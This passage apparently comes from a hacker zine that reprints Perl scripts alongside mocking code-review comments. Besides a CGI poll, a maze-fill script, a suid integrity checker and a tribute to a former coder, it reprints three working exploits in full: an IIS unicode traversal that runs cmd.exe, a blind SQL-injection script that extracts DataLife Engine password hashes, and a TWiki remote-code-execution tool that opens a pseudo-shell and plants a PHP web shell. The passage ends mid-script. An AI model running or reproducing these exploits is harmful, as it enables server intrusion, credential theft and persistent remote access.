" } if ( $qfile ) { close $fh or die "Can't close $qfile.\n$!"; } print $q->hr, $q->p( "Total Respondents: ", "$tally->{'Submit'}{'Submit'}." ), $q->hr, $q->p( "Return to poll"), $q->end_html; } # Outputs the HTML for the poll. # Pass in the filehandle to the poll's question file, # its filename (empty string if ), script name, # and CGI object. sub print_poll { my ( $fh, $infile, $scriptname, $q ) = @_; if ( $infile ) { $fh = undef; open $fh, "<".$infile or die "Can't open $infile.\n$!"; } my $polltitle = <$fh>; chomp $polltitle; print $q->header( "text/html" ), $q->start_html( -title => $polltitle), $q->h1( $polltitle ), $q->br, $q->hr, $q->start_form( -method => "post", -action => $scriptname ); while ( my $qset = get_question( $fh ) ) { my ( %labels, @vals ); foreach ( @{$qset->{'answers'}} ) { push @vals, $_->{'token'}; $labels{ $_->{'token'} } = $_->{'text'}; } push @vals, "Unanswered"; $labels{'Unanswered'} = "No Response"; print $q->p( $q->h3( $qset->{'question'} ) ), $q->radio_group( -name => $qset->{'id'}, -default => "Unanswered", -values => \@vals, -labels => \%labels, -linebreak => "true" ); } print $q->p, $q->p, $q->submit( -name => "Submit" ), $q->reset, $q->endform, $q->br, $q->p, $q->p, $q->hr, $q->start_form( -method => "post", -action => $scriptname ),, $q->p($q->h3("Administrative use only.") ), $q->p( "ID: ", $q->textfield( -name =>"Userid", -size => 25, -maxlength => 25 ), "Password: ", $q->password_field( -name => "Adminpass" ), $q->submit( -name => "Enter" ) ), $q->endform, $q->end_html; if ( $infile ) { close $fh or die "Can't close $infile.\n$!"; } return $polltitle; } # Outputs an HTML status page based on the action requested. # This routine is used to thank the user for taking the poll, or # to blurt out user-caused warnings. # Pass in the action type, poll title, and the CGI object. sub action_status { my ( $action, $title, $q ) = @_; print $q->header( "text/html" ), $q->start_html( -title => $title." Status" ), $q->h1( $title." Status" ), $q->hr; my ( $headline, @text, $script_url ); $script_url = $q->url( -relative => 1 ); RED_SWITCH: { $action eq 'NO_ADMIN' && do { $headline = "Access Denied"; @text = ( "This section is for administrative ", "use only.

", "Return to poll." ); last RED_SWITCH; }; $action eq 'THANKS' && do { $headline = "Thanks for taking the poll.

"; @text = ( "" ); last RED_SWITCH; }; $action eq 'INCOMPLETE' && do { $headline = "Error: You must answer all poll questions."; @text = ( "Please complete poll, and submit again.

", "Return to poll." ); last RED_SWITCH; }; $action eq 'UNRECOGNIZED' && do { $headline = "Error: Unrecognized form data."; @text = ( "" ); last RED_SWITCH; }; } print $q->h3( $headline ), $q->p( @text ), $q->end_html; } # Gets a single question and its accompanying answer set from # the filehandle passed to it. # Returns a structure containing a single Q/A set. A poll will # generally consist of a number of Q/A sets, so this function # is usually called repeatedly to build up the poll. sub get_question { my $fh = shift; my ( $question_id, $question, @answers, %set ); GQ_READ: while ( my $line = <$fh> ) { chomp $line; GQ_SWITCH: { $line eq "" && do { next GQ_READ }; # Ignore blank. $line =~ /^#/ && do { next GQ_READ }; # Ignore comments. $line =~ /^Q/ && do { # Bring in a question. die "Multiple questions\n" if $question_id or $question; ( $question_id, $question ) = $line =~ /^Q(\d+):\s*(.+?)\s*$/; last GQ_SWITCH; }; $line =~ /^A/ && do { # Bring in an answer. my ( $token, $text ) = $line =~ /^A:\s*(\S+)\s*(.+?)\s*$/; die "Bad answer.\n" unless $token and $text; push @answers, {( 'token' =>$token, 'text'=>$text )}; last GQ_SWITCH; }; $line =~ /^E/ && do { # End input, assemble structure. die "Set missing components.\n" unless $question and @answers; $set{'id'} = $question_id; $set{'question'} = $question; $set{'answers'} = \@answers; last GQ_SWITCH; }; } return \%set if %set; } return 0; # This is how we signal nothing more to get. } # -------------------- based poll ---------------------------- # First line of DATA section should be the Poll title. __DATA__ Dave's Poll # Format: Comments allowed if line begins with #. # Blank lines allowed. # Data lines must begin with a tag: Qn:, A:, or E. # Any amount of whitespace separates answer tokens from text. # Other whitespace is not significant. # Complete sets must be Qn, A:, A:...., E. # If you choose to use an external question file, comment out # but retain as an example at least one question from below. Q1: Does the poll appear to work? A: ++++ Big Success! A: +++ Moderate Success! A: ++ Decent Success! A: + Success! A: - Minor Unsuccess. A: -- Some Unsuccess. A: --- Moderate Unsuccess. A: ---- Monumental Disaster! E Q2: Did you find serious issues? A: !! Yes, serious! A: ! Yes, minor. A: * Mostly no. A: ** Perfect! E Q3: Regarding this poll: A: +++ You could take it over and over again all day! A: ++ Kinda nifty. A: + Not bad. A: - Yawn... A: -- Zzzzzzz.... A: --- Arghhhhh, get this off my computer! E Q4: You spend too much time on the computer. A: T True. A: F False. A: H Huh? E Q5: You're sick of answering questions. A: ++ Definately. A: + Somewhat. A: - Bring them on! E -[0x13] # AntiSec AntiPerl ----------------------------------------------- #!/usr/bin/perl # # exploit for the windows IIS unicode hole # this perl script makes the thinks nicer # # written by newroot # # greetz to mcb, nopfish, merith # and the whole antisec.de team # # http://www.antisec.de # use Getopt::Std; use IO::Socket; use IO::Select; #1 == white my @unis=( "/scripts/..%c0%af..", "/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..", "/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..", "/msadc/..%c0%af../..%c0%af../..%c0%af..", "/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..", "/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..", "/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..", "/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.." ); # qw that shit, biatch sub ussage () { print "\033[1mremote ISS unicode exploit\033[0m\r\n"; print "\033[0mwritten by newroot\033[0m\r\n\n"; print "Usage doublepimp.pl [options] \n"; print "\t\t-p \toptional port number if not 80\n"; print "\t\t-d \tuse this path instance of /winnt/system32\n"; print "\t\t-v\t\t\tverbose output\n"; exit 0; } # I believe its spelt 'usage', and that's some ugly quoting sub connect_host () { my $host = shift; my $port = shift; my $socket = IO::Socket::INET->new (PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type=>SOCK_STREAM, ) or die "[-] Cant connect to target!\n"; return $socket; } sub my_send () { my $socket = shift; my $buf = shift; my @result; print $socket $buf; select($socket); $|=1; while (<$socket>) { push (@result, $_); } # @result = <$socket>; select(STDOUT); return @result; } ### MAIN ### #not going to make this one lexical, I see %option =(); my @result; my $target_num; my $break; my $command; my $port; my $path; # those could all go on one line! # but then your script would have less lines! o no! getopts ("h:p:d:v", \%option); if (!defined($ARGV[0])) { &ussage (); } if (!defined($ARGV[1])) { &ussage (); } # what..the...fuck # you moron # ussage() unless $ARGV[1]; # whatever - covers the whole block if (defined($option{p})) { $port = $option{p}; } else { $port = 80; } # $port = $options{'p'} || 80; if (defined($option{d})) { $path = $option{d}; } else { $path = "/winnt/system32/"; } #I can't stomach much more of this... $target = $ARGV[0]; $break = 0; $target_num = 0; $target = $ARGV[0]; # we got it the first time $port = $port; # no shit $break = 0; # clarifying? $target_num = 0; # uh.. # let me ask you this. what kind of moron releases such shitty code # without even looking over it foreach my $uni (@unis) { # excuse me while I throw up print "[+] Connecting to $ARGV[0]:$port\n" if (defined($option{v})); my $socket = &connect_host($ARGV[0], $port); print "[+] Connected to $ARGV[0]:$port\n" if (defined($option{v})); print "[+] Trying $uni\n" if (defined($option{v})); @result = &my_send ($socket, "GET $uni/winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n"); close ($socket); # ok I'm back. glad I missed that foreach my $line (@result) { # we have this kickass grep command, learn it if ($line =~ /Verzeic/) { $break = 1; break; } } if ($break eq 1) { # ==, dickface print "[+] Found working string $uni\n" if (defined($option{v})); goto working; # GOTO! WOO break; } else { $target_num++; } } die "[-] Sorry no working string found!\n[-] Server maybee not vunable!"; working: my $socket = &connect_host($ARGV[0], $port); $ARGV[1] =~ /([A-z0-9\.]+)/; $command = $1; $ARGV[1] =~s/$command//g; $ARGV[1] =~s/ /\+/g; # well isn't that interesting... print "[+] Sending GET $unis[$target_nr]$path$command?$ARGV[1] HTTP/1.0\r\n\r\n"; @result = &my_send ($socket, "GET $unis[$target_nr]$path$command?$ARGV[1] HTTP/1.0\r\n\r\n"); close ($socket); # yuck, yuck, and yuck print @result; # finally a line I like ### DA END ### # thank god -[0x14] # School You: atcroft -------------------------------------------- ##### It's from 2001, so don't try any "look thats bad!" shit. Just enjoy #!/usr/local/bin/perl -- # use strict; if ($#ARGV < 0) { &display_usage; exit(0); } my $datafile = $ARGV[0] || $0 . '.txt'; my ($height, $width, $bcharlist, @board) = &read_data($datafile); my @borderchars = split('', $bcharlist); &display_board($width, $height, 0, @board); my $changes = $height * $width; my $passes = 0; while ($changes > 0) { $changes = 0; $passes++; for (my $y = 0; $y < $height; $y++) { for (my $x = 0; $x <= $#{$board[$y]}; $x++) { next if (&is_border($board[$y][$x])); my $sum = &count_neighbors($x, $y, $width, $height, \@board); if ($sum >= 3) { $changes++; $board[$y][$x] = $borderchars[0]; } } } } &display_board($width, $height, $passes, @board); sub read_data { my ($filename) = @_; my $h = 0, $w = 0, $charlist = '#'; my (@board); open(DATAFILE, $filename) or die("Can't open $filename : $!\n"); while (my $line = ) { chomp($line); next unless (length($line)); next if ($line =~ m/^#/); my @parts = split(/\s*[:=]\s*/, $line, 2); $w = $parts[1] if ($parts[0] =~ m/width|x/i); $h = $parts[1] if ($parts[0] =~ m/height|y/i); $charlist = $parts[1] if ($parts[0] =~ m/border|wall|char/i); if ($parts[0] =~ m/board|screen/i) { for (my $i = 0; $i < $w; $i++) { $line = ; chomp($line); @{$board[$i]} = split('', $line); } } } close(DATAFILE); return($h, $w, $charlist, @board); } sub display_board { my ($i, $j, $pass, @screen) = @_; printf("Pass : %d\nHeight : %d, Width : %d\nBoard : \n", $pass, $j, $i); for (my $y = 0; $y < $j; $y++) { print(join('', @{$screen[$y]}, "\n")); } print("\n"); } sub is_border { my ($character) = @_; return(scalar(grep(/$character/, @borderchars))); } sub count_neighbors { local ($i, $j, $w, $h, *screen) = @_; my $ncount = 0; if ($j > 0) { $ncount++ if (&is_border($screen[$j - 1][$i])); } if ($j < ($h - 1)) { $ncount++ if (&is_border($screen[$j + 1][$i])); } if ($i > 0) { $ncount++ if (&is_border($screen[$j][$i - 1])); } if ($i < $w) { $ncount++ if (&is_border($screen[$j][$i + 1])); } return($ncount); } sub display_usage { while () { s/\$0/$0/; print $_ unless (m/^__DATA__$/); } } __END__ __DATA__ Program execution: $0 filename where filename is the name of the data file to use. Datafile format: : : parameter2_value> : : : *['='|':']* : ['height'|'width'|'x'|'y'] : : ['border'|'wall'|'char'] : : : + : + : : (equivalent to perl regex /\d/) : (equivalent to perl regex /\s/) : (equivalent to perl regex /\S/) : (matched by perl regex /./) Sample file: x:4 y= 3 wall=# screen= ## # # # # ## -[0x15] # Russian for the fall ------------------------------------------- #!/usr/bin/perl ## DataLife Engine sql injection exploit by RST/GHC ## (c)oded by 1dt.w0lf ## RST/GHC ## http://rst.void.ru ## http://ghc.ru ## 18.06.06 # STRICT STRICT STRICT STRICT STRICT # WARNINGS WARNINGS WARNINGS WARNINGS # STRICT STRICT STRICT STRICT STRICT # WARNINGS WARNINGS WARNINGS WARNINGS # STRICT STRICT STRICT STRICT STRICT # WARNINGS WARNINGS WARNINGS WARNINGS use LWP::UserAgent; use Getopt::Std; getopts('u:n:p:'); $url = $opt_u; $name = $opt_n; $prefix = $opt_p || 'dle_'; if(!$url || !$name) { &usage; } $s_num = 1; $|++; $n = 0; # step by step right? &head; # head(); print "\r\n"; # CAPITAL LETTERS print " [~] URL : $url\r\n"; print " [~] USERNAME : $name\r\n"; print " [~] PREFIX : $prefix\r\n"; $userid = 0; print " [~] GET USERID FOR USER \"$name\" ..."; $xpl = LWP::UserAgent->new() or die; $res = $xpl->get($url.'?subaction=userinfo&user='.$name); if($res->as_string =~ /do=lastcomments&userid=(\d*)/) { $userid = $1; } elsif($res->as_string =~ /do=pm&doaction=newpm&user=(\d*)/) { $userid = $1; } elsif($res->as_string =~ /do=feedback&user=(\d*)/) { $userid = $1; } if($userid != 0 ) { print " [ DONE ]\r\n"; } else { print " [ FAILED ]\r\n"; exit(); } # please don't make me look at code like that again # no further comment on that print " [~] USERID : $userid\r\n"; print " [~] SEARCHING PASSWORD ... "; while(1) { if(&found(47,58)==0) { &found(96,103); } # heh heh $char = $i; if ($char=="0") { if(length($allchar) > 0){ print qq{\b [ DONE ] --------------------------------------------------------------- USERNAME : $name USERID : $userid PASSHASH : $allchar --------------------------------------------------------------- }; # you know qq! Do you know it is the same as " } else { print "\b[ FAILED ]"; } exit(); } else { $allchar .= chr($char); print "\b".chr($char)." "; } $s_num++; # spaghetti in the morning, spaghetti in the evening, spaghetti code EVERYWHERE } sub found($$) # prototypes? hold your horse, lone ranger! { my $fmin = $_[0]; my $fmax = $_[1]; if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } # you can do return crack($fmin, $fmas); noob # instead you'll mess with a non-lexical variable for the heck of it $r = int($fmax - ($fmax-$fmin)/2); $check = "/**/BETWEEN/**/$r/**/AND/**/$fmax"; if ( &check($check) ) { &found($r,$fmax); } else { &found($fmin,$r); } # I am shaking } sub crack($$) { my $cmin = $_[0]; my $cmax = $_[1]; $i = $cmin; while ($i<$cmax) { $crcheck = "=$i"; if ( &check($crcheck) ) { return $i; } $i++; } # for loop, dipshit $i = 0; return $i; } sub check($) { # no reason at all to use a prototype $n++; status(); $ccheck = $_[0]; $xpl = LWP::UserAgent->new() or die; $res = $xpl->get($url.'?subaction=userinfo&user='.$name.'%2527 and ascii(substring((SELECT password FROM '.$prefix.'users WHERE user_id='.$userid.'),'.$s_num.',1))'.$ccheck.'/*'); if($res->as_string =~ /$name<\/td>/) { return 1; } else { return 0; } } sub status() { $status = $n % 5; if($status==0){ print "\b/"; } if($status==1){ print "\b-"; } if($status==2){ print "\b\\"; } if($status==3){ print "\b|"; } # you can spread out this syntax a bit if you would like. You know, make it cute and all # not to mention you can use elsif # or just print "\b-" if $status == 0; } sub usage() { &head; # needs its own sub? then call it like a man. head() print q( USAGE: r57datalife.pl [OPTIONS] OPTIONS: -u - path to index.php -n - username for bruteforce -p [prefix] - database prefix E.G. r57datalife.pl -u http://server/index.php -n admin --------------------------------------------------------------- (c)oded by 1dt.w0lf RST/GHC , http://rst.void.ru , http://ghc.ru ); exit(); } sub head() { print q( --------------------------------------------------------------- DataLife Engine sql injection exploit by RST/GHC --------------------------------------------------------------- ); } # Too much overhead. Too much crap. A complete mess. Learn to code # Learn to design -[0x16] # Hello s0ttle --------------------------------------------------- s0ttle, friend, where have you been? Taking some time off? Retreating from the scene? You were once a Perl darling. Learning intelligently, you built up a little list of cute scripts. You learned in Perl Monks, and you contributed back to the community. Here, have a list of your contributions: 2002�..01�..13 s0ttle Re: Code Review! Go Ahead, Rip It Up! Re:SoPW 2002�..01�..01 s0ttle Managing C structs -with Perl- SoPW 2001�..12�..28 s0ttle Re: (Ovid) Re: Assigning CGI object data Re:SoPW 2001�..12�..28 s0ttle Assigning CGI object data SoPW 2001�..12�..28 s0ttle Re: Help with a n Use of uninitialized value in join error message Re:SoPW 2001�..11�..14 s0ttle Re: pattern match on entire file Re:SoPW 2001�..11�..14 s0ttle Re: Removing data from a string with Regex Re:SoPW 2001�..11�..11 s0ttle Re: prompting a user for input Re:SoPW 2001�..11�..09 s0ttle Re: Comments in my code Re:Med 2001�..11�..09 s0ttle Comments in my code Med 2001�..10�..29 s0ttle Re: Interpolating $1 within a variable Re:SoPW 2001�..10�..27 s0ttle Re: Interpolating $1 within a variable Re:SoPW 2001�..10�..27 s0ttle Interpolating $1 within a variable SoPW 2001�..10�..23 s0ttle 2nd obfu Obfu 2001�..10�..22 s0ttle Tribute to TMTOWTDI Med 2001�..10�..22 s0ttle Re: chmod/chflags Re:SoPW 2001�..10�..04 s0ttle Re: how to read a 2 dim-array Re:SoPW 2001�..10�..02 s0ttle first obfu Obfu 2001�..09�..19 s0ttle Re: beginner syntax question Re:SoPW 2001�..09�..19 s0ttle Re: Connection time out with net::irc Re:SoPW 2001�..09�..17 s0ttle formatted output of localtime() SoPW 2001�..09�..13 s0ttle Re: Template Toolkit installation problems Re:SoPW 2001�..08�..21 s0ttle Re: begining of a file Re:SoPW 2001�..08�..04 s0ttle Re: subs && typeglobs Re:SoPW 2001�..08�..04 s0ttle Re: subs && typeglobs Re:SoPW 2001�..08�..03 s0ttle Re: subs && typeglobs Re:SoPW 2001�..08�..03 s0ttle Re: subs && typeglobs Re:SoPW 2001�..08�..03 s0ttle subs && typeglobs SoPW 2001�..08�..03 s0ttle Re: Recursion Re:SoPW 2001�..06�..21 s0ttle for loop SoPW 2001�..06�..20 s0ttle s0ttle User Good memories, eh? Some a little embarrassing, but you were teething. Here's some old s0ttle code. Picked because its newer than the rest. I like how you code. It's competent, and it is witty. Enthusiastic. #!/usr/bin/perl -w ;# ;# fakelabs development ;# # file: chk_suid # purpose: helps maintain suid/guid integrity # author: s0ttle@sawbox.net/perl@s0ttle.net # site: www.sawbox.net/www.s0ttle.net # # This program released under the same # terms as perl itself # use strict; use Digest::MD5; use IO::File; use diagnostics; # remove after release use Fcntl qw(:flock); use POSIX qw(strftime); use constant DEBUG => 0; # Global variables :\ my @suids; my $count; my $suidslist = (getpwuid($<))[7]."/suidslist"; my $suidsMD5 = (getpwuid($<))[7]."/suidsMD5"; my $masterMD5 = (getpwuid($<))[7]."/masterMD5"; autoflush STDOUT 1; &splash; sub splash{ print "==============================\n", " www.fakelabs.org \n", "==============================\n", " chk_suids.pl\n", "++++++++++++++----------------\n"; } opendir(ROOT,'/') || c_error("Could not open the root directory!"); print "[01] Generating system suid/guid list.\n"; &find_suids(*ROOT,'/'); sub find_suids{ local (*P_FH) = shift; my $path = shift; my $content; opendir(P_FH,"$path") || c_error("Could not open $path"); foreach $content (sort(readdir(P_FH))){ next if $content eq '.' or $content eq '..'; next if -l "$path$content"; if (-f "$path$content"){ push @suids,"$path$content" if (-u "$path$content" || -g "$path$content") && ++$count; } elsif (-d "$path$content" && opendir(N_PATH,"$path$content")) { find_suids(*N_PATH,"$path$content/"); } else { next; } } } print "[02] Found $count total suid/guid files on your system.\n"; print join "\n",@suids if DEBUG == 1; &suids_perm; sub suids_perm{ my $wx_count = 0; my $ww_count = 0; my @wx_suids; my @ww_suids; my $tempfile = IO::File::new_tmpfile() || c_error("Could not open temporary file"); while(<@suids>){ chomp; my ($user,$group) = (lstat)[4,5]; my $mode = (lstat)[2] & 07777; $tempfile->printf("%-4o %-10s %-10s %-40s\n", $mode,(getpwuid($user))[0],(getgrgid($group))[0],$_); } $tempfile->seek(0,0); foreach (<$tempfile>){ my $perm = (split(/\s+/,$_))[0]; if (($perm & 01) == 01){ push @wx_suids,$_; ++$wx_count; } elsif (($perm & 02) == 00){ push @ww_suids; ++$ww_count; } } @ww_suids = 'none' if !@ww_suids; @wx_suids = 'none' if !@wx_suids; print "[03] World writable suids found: $ww_count\n"; print "=" x 50,"\n", @ww_suids, "=" x 10, "\n" if $ww_suids[0] !~/none/; print "[04] World executable suids found: $wx_count\n"; print "=" x 50, "\n", @wx_suids, "=" x 50,"\n" if $wx_suids[0] !~/none/; cfg_check($tempfile); } sub cfg_check{ my $tempfile = shift; my $lcount = 0; print $masterMD5,$suidsMD5,$suidslist,"\n" if DEBUG == 1; foreach ($masterMD5,$suidsMD5,$suidslist){ ++$lcount if !-e; } $0 =~s!.*/!!; print $lcount,"\n" if DEBUG == 1; if (($lcount != 0) && ($lcount < 3)){ print "[05] Inconsistency found with cfg files, exiting.\n"; } elsif ($lcount == 3){ print "[05] It seems this is your first time running $0.\n"; &n_create($tempfile); } elsif ($lcount == 0){ print "[05] Checking cfg and suid/guid integrity\n"; sleep(2); &c_suidlist($tempfile); &c_suidsmd5; &c_mastermd5; } } sub c_suidlist{ my $tempfile = shift; my $slist = IO::File->new($suidslist, O_RDONLY) || c_error("Could not open $suidslist for reading"); flock($slist,LOCK_SH); $tempfile->seek(0,0); my %temp_vals; while(<$tempfile>){ chomp; my ($tperm,$towner,$tgroup,$tfile) = split(/\s+/,$_,4); print join ':',$tperm,$towner,$tgroup,$tfile,"\n" if DEBUG == 1; $temp_vals{$tfile} = [$tperm,$towner,$tgroup,$tfile]; } my %suid_vals; while(<$slist>){ chomp; my ($sperm,$sowner,$sgroup,$sfile) = split(/\s+/,$_,4); print join ':',$sperm,$sowner,$sgroup,$sfile,"\n" if DEBUG == 1; $suid_vals{$sfile} = [$sperm,$sowner,$sgroup,$sfile]; } $slist->close; my $badsuids = 0; foreach my $val (sort keys %suid_vals){ if ("@{$suid_vals{$val}}" ne "@{$temp_vals{$val}}"){ ++$badsuids && print "[06] !WARNING! suid/guid modification(s) found! \n", "=" x 50,"\n" unless $badsuids; &suidl_warn(\@{$temp_vals{$val}},\@{$suid_vals{$val}}); } } if (!$badsuids){ print "[06] $suidslist: OK \n"; } else { &f_badsuids; } } sub c_mastermd5{ srand; my $tmd5f = POSIX::tmpnam(); my $tsuf = (rand(time ^ $$)) + $<; $tmd5f .= $tsuf; c_error("[07] !WARNING! $tmd5f is a symlink, exiting") if -l $tmd5f; my $tempmd5 = IO::File->new($tmd5f, O_WRONLY|O_CREAT) || c_error("Could not open $tmd5f for writing"); flock($tempmd5,LOCK_EX); my $mmd5f = IO::File->new($masterMD5, O_RDONLY) || c_error("Could not open $masterMD5 for reading"); flock($mmd5f,LOCK_SH); chomp(my $mmd5 = <$mmd5f>); $mmd5f->close; while(<@suids>){ chomp; my ($md5f,$md5v) = md5($_); $tempmd5->printf("%-40s: %-40s\n", $md5f, $md5v) if $md5f && $md5v; } $tempmd5->close; my $s_md5 = md5($suidsMD5); my $t_md5 = md5($tmd5f); if (("$s_md5" eq "$t_md5") && ("$t_md5" eq "$mmd5")){ print "[08] $masterMD5: OK \n"; } # my $md5 = md5($suidsMD5); print "MASTER: $m_md5\n"; # my $t_md5 = md5($tmd5); print "TEMP: $t_md5\n"; print "[09] Verify this is actually your masterMD5 sum: $mmd5\n"; sleep(3); &cleanup; &ret; } sub suidl_warn{ my $tv_ref = shift; my $sv_ref = shift; printf("OLD: %-4d %-10s %-10s %-40s\n", $$tv_ref[0],$$tv_ref[1],$$tv_ref[2],$$tv_ref[3]); printf("NEW: %-4d %-10s %-10s %-40s\n", $$sv_ref[0],$$sv_ref[1],$$sv_ref[2],$$sv_ref[3]); } sub c_suidsmd5{ print "[07] $suidslist: OK \n"; } sub cleanup{ print "[10] Cleaning up and exiting \n"; } sub ret{ print "+=" x 28,"\n","s0ttle: $0 still in beta! :\\ \n"; } # # I was going to add the option to update the cfg files with any new legitimate # changes, but that would make it too easy for an intruder to circumvent this whole process # its not too hard to do it manually anyway :\ # sub f_badsuids{ print "=" x 50,"\n","[07] Pay attention to any unknown changes shown above!\n"; sleep(2); } sub n_create{ my $tempfile = shift; print "[06] Creating: $suidslist\n"; &slst_create($tempfile); print "[07] Creating: $suidsMD5 \n"; &smd5_create; print "[08] Creating: $masterMD5\n"; &mmd5_create; } sub slst_create{ my $tempfile = shift; my $slist = IO::File->new($suidslist, O_WRONLY|O_CREAT) || c_error("Could not open $suidslist for writing"); flock($slist,LOCK_EX); $tempfile->seek(0,0); while(<$tempfile>){ $slist->print("$_"); } $tempfile->close; $slist->close; } sub smd5_create{ my $smd5 = IO::File->new($suidsMD5, O_WRONLY|O_CREAT) || c_error("Could not open $suidsMD5 for writing"); flock($smd5,LOCK_EX); while(<@suids>){ chomp; my ($md5f,$md5v) = md5($_); $smd5->printf("%-40s: %-40s\n", $md5f, $md5v) if $md5f && $md5v; } $smd5->close; } sub mmd5_create{ my $mmd5v = (md5($suidsMD5))[1]; my $mmd5 = IO::File->new($masterMD5, O_WRONLY|O_CREAT) || c_error("Could not open $masterMD5 for writing"); flock($mmd5,LOCK_EX); $mmd5->print("$mmd5v\n"); $mmd5->close; } sub md5{ my $suid_file = shift; my %mdb; my $obj = Digest::MD5->new(); if ( my $suidf = IO::File->new($suid_file, O_RDONLY) ){ flock($suidf,LOCK_SH); binmode($suidf); $obj->addfile($suidf); $mdb{$suid_file} = $obj->hexdigest; $obj->reset(); $suidf->close; return($suid_file,$mdb{$suid_file}); } else { warn("[E] Could not open $suid_file: $!\n"); } } sub c_error{ my $error = "@_"; print "ERROR: $error: $!\n"; exit(0); } More than just a coder, you were a rare ambassador of Perl to the underground. You were willing to weild the power without shame. You were a hacker who could use Perl with pride, and to your considerable benefit. Either that or a Perl programmer who could hack with pride, to your benefit. You choose your way of looking at it. And then it came crashing down. What happened, s0ttle? Why did you leave us? What did you move on to? A blissful idle existence? Did you get your cred and then get too busy with everything else? The reason this article is here is because you've decided to make an appearance on the Perl scene again. You've reacquired your perlmonk.org account. We can only take this as a sign that you want to come back. This is both encouraged, and now, expected. Welcome back, s0ttle. -[0x17] # RoMaNSoFt is TwEaKy -------------------------------------------- #!/usr/bin/perl # yes! a shebang line! # "tweaky.pl" v. 1.0 beta 2 # # Proof of concept for TWiki vulnerability. Remote code execution # Vuln discovered, researched and exploited by RoMaNSoFt # # Madrid, 30.Sep.2004. # finally someone with a relatively short introduction "block" # and it is clean and sticks to the point! # that will save you a lot of hurt, I'll just tap around the edges require LWP::UserAgent; # use it # rarely is require needed, and this isn't it # no, that excuse is wrong # so is that one # please don't defend yourself and waste all of our time use Getopt::Long; # but use strict! ### Default config $host = ''; # my $host; $path = '/cgi-bin/twiki/search/Main/'; $secure = 0; $get = 0; $post = 0; $phpshellpath=''; # singleline some of these $createphpshell = '(echo `perl -e \'print chr(60).chr(63)\'` ; echo \'$out = shell_exec($_GET["cmd"]." 2\'`perl -e \'print chr(62). chr(38)\'`\'1");\' ; echo \'echo "\'`perl -e \'print chr(60)."pre".chr(62). "\\\\$out".chr(60)."/pre".chr(62)\'`\'";\' ; echo `perl -e \'print chr(63).chr(62)\'`) | tee '; # christ that is a mess. quotemeta, baby $logfile = ''; # If empty, logging will be disabled $prompt = "tweaky\$ "; $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'; $proxy = ''; $proxy_user = ''; $proxy_pass = ''; $basic_auth_user = ''; $basic_auth_pass = ''; $timeout = 30; $debug = 0; # disgusting waste of lines! # at this rate they will be an endangered species! $init_command = 'uname -a ; id'; $start_mark = 'AAAA'; $end_mark = 'BBBB'; $pre_string = 'nonexistantttt\' ; ('; $post_string = ') | sed \'s/$.*$/'.$start_mark.'\1'.$end_mark.'.txt/\' ; fgrep -i -l -- \'nonexistantttt'; $delim_start = ''.$start_mark; $delim_end = $end_mark.''; print "Proof of concept for TWiki vulnerability. Remote code execution.\n"; print "(c) RoMaNSoFt, 2004. \n\n"; # the cutest thing in your program. ### User-supplied config (read from the command-line) $parsing_ok = GetOptions ('host=s' => \$host, 'path=s' => \$path, 'secure' => \$secure, 'get' => \$get, 'post' => \$post, 'phpshellpath=s' => \$phpshellpath, 'logfile=s' => \$logfile, 'init_command=s' => \$init_command, 'useragent=s' => \$useragent, 'proxy=s' => \$proxy, 'proxy_user=s' => \$proxy_user, 'proxy_pass=s' => \$proxy_pass, 'basic_auth_user=s' => \$basic_auth_user, 'basic_auth_pass=s' => \$basic_auth_pass, 'timeout=i' => \$timeout, 'debug' => \$debug, 'start_mark=s' => \$start_mark, 'end_mark=s' => \$end_mark); ### Some basic checks &banner unless ($parsing_ok); # banner() unless $parsing_ok; # that's actually nice perl-english # lwall style if ($get and $post) { print "Choose one only method! (GET or POST)\n\n"; &banner; } if (!($get or $post)) { # If not specified we prefer POST method $post = 1; } if (!$host) { print "You must specify a target hostname! (tip: --host )\n\n" ; &banner; # no } $url = ($secure ? 'https' : 'http') . "://" . $host . $path; ### Checking for a vulnerable TWiki &run_it ($init_command, 'RS-Labs rlz!'); # no ### Execute selected payload if ($phpshellpath) { &create_phpshell; # no print "PHPShell created."; } else { &pseudoshell; # no } ### End exit(0); # no ### Create PHPShell sub create_phpshell { $createphpshell .= $phpshellpath; # what happened to consistent underscores in variable names? &run_it($createphpshell, 'yeah!'); # nah! } ### Pseudo-shell sub pseudoshell { open(LOGFILE, ">>$logfile") if $logfile; open(STDINPUT, '-'); # make sure to test that your file opening didn't fail! print "Welcome to RoMaNSoFt's pseudo-interactive shell :-)\n[Type Ctrl-D or (bye, quit, exit, logout) to exit]\n\n".$prompt.$init_command."\n"; &run_it ($init_command); print $prompt; while () { # STDIN is too cool for you chop; # stick with chomp or be consistent with chop if ($_ eq "bye" or $_ eq "quit" or $_ eq "exit" or $_ eq "logout") { # time to learn regex? why bother exit(1); } &run_it ($_) unless !$_; # run_it($_) if $_; print "\n".$prompt; } close(STDINPUT); close(LOGFILE) if $logfile; } ### Print banner and die sub banner { print "Syntax: ./tweaky.pl --host= [options]\n\n"; print "Proxy options: --proxy=http://proxy:port --proxy_user=foo --proxy_pass=bar\n"; print "Basic auth options: --basic_auth_user=foo --basic_auth_pass=bar\n"; print "Secure HTTP (HTTPS): --secure\n"; print "Path to CGI: --path=$path\n"; print "Method: --get | --post\n"; print "Enable logging: --logfile=/path/to/a/file\n"; print "Create PHPShell: --phpshellpath=/path/to/phpshell\n"; exit(1); } ### Execute command via vulnerable CGI sub run_it { my ($command, $testing_vuln) = @_; my $req; my $ua = new LWP::UserAgent; $ua->agent($useragent); $ua->timeout($timeout); # this code looks regular! you stole it from the docs, didn't you? # come on, ADMIT IT # Build CGI param and urlencode it my $search = $pre_string . $command . $post_string; $search =~ s/(\W)/"%" . unpack("H2", $1)/ge; # Case GET if ($get) { $req = HTTP::Request->new('GET', $url . "?scope=text&order=modified&search=$search"); } # Case POST if ($post) { $req = new HTTP::Request POST => $url; $req->content_type('application/x-www-form-urlencoded'); $req->content("scope=text&order=modified&search=$search"); } # Proxy definition if ($proxy) { if 